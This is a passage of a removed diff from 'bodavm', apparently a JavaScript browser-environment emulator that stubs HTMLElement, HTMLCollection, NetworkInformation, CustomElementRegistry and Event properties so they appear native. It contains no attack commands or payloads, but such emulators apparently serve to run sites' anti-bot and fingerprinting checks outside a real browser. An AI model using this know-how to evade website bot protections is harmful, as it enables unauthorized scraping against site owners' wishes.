"onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "attachInternals", {configurable:true, enumerable:true, writable:true, value:function attachInternals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attachInternals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "click", {configurable:true, enumerable:true, writable:true, value:function click (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "click", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "inert", {configurable:true, enumerable:true, get:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_get", arguments)}, set:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_set", arguments)}},'prototype'); - -// HTMLCollection对象 -bodavm.memory.globalobj['HTMLCollection'] = function HTMLCollection(){if (!(this instanceof HTMLCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCollection'], "HTMLCollection"); -bodavm.toolsFunc.defineProperty('HTMLCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "namedItem", arguments)}},'prototype'); - -// NetworkInformation对象 -bodavm.memory.globalobj['NetworkInformation'] = function NetworkInformation(){if (!(this instanceof NetworkInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NetworkInformation'], "NetworkInformation"); -bodavm.memory.globalobj['NetworkInformation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NetworkInformation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NetworkInformation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "effectiveType", {configurable:true, enumerable:true, get:function effectiveType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "effectiveType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "rtt", {configurable:true, enumerable:true, get:function rtt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "rtt_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "downlink", {configurable:true, enumerable:true, get:function downlink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "downlink_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "saveData", {configurable:true, enumerable:true, get:function saveData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "saveData_get", arguments)}, set:undefined},'prototype'); - -// CustomElementRegistry对象 -bodavm.memory.globalobj['CustomElementRegistry'] = function CustomElementRegistry(){if (!(this instanceof CustomElementRegistry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomElementRegistry'], "CustomElementRegistry"); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "define", {configurable:true, enumerable:true, writable:true, value:function define (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "define", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "upgrade", {configurable:true, enumerable:true, writable:true, value:function upgrade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "upgrade", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "whenDefined", {configurable:true, enumerable:true, writable:true, value:function whenDefined (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "whenDefined", arguments)}},'prototype'); - -// Event对象 -bodavm.memory.globalobj['Event'] = function Event(){if (!(this instanceof Event)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Event': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Event'], "Event"); -bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('Event', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "currentTarget", {configurable:true, enumerable:true, get:function currentTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "currentTarget_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "eventPhase", {configurable:true, enumerable:true, get:function eventPhase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "eventPhase_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "bubbles", {configurable:true, enumerable:true, get:function bubbles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "bubbles_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "cancelable", {configurable:true, enumerable:true, get:function cancelable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "defaultPrevented", {configurable:true, enumerable:true, get:function defaultPrevented (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "defaultPrevented_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "composed", {configurable:true, enumerable:true, get:function composed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "timeStamp", {configurable:true, enumerable:true, get:function timeStamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "timeStamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "srcElement", {configurable:true, enumerable:true, get:function srcElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "srcElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "cancelBubble", {configurable:true, enumerable:true, get:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_get", arguments)}, set:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, 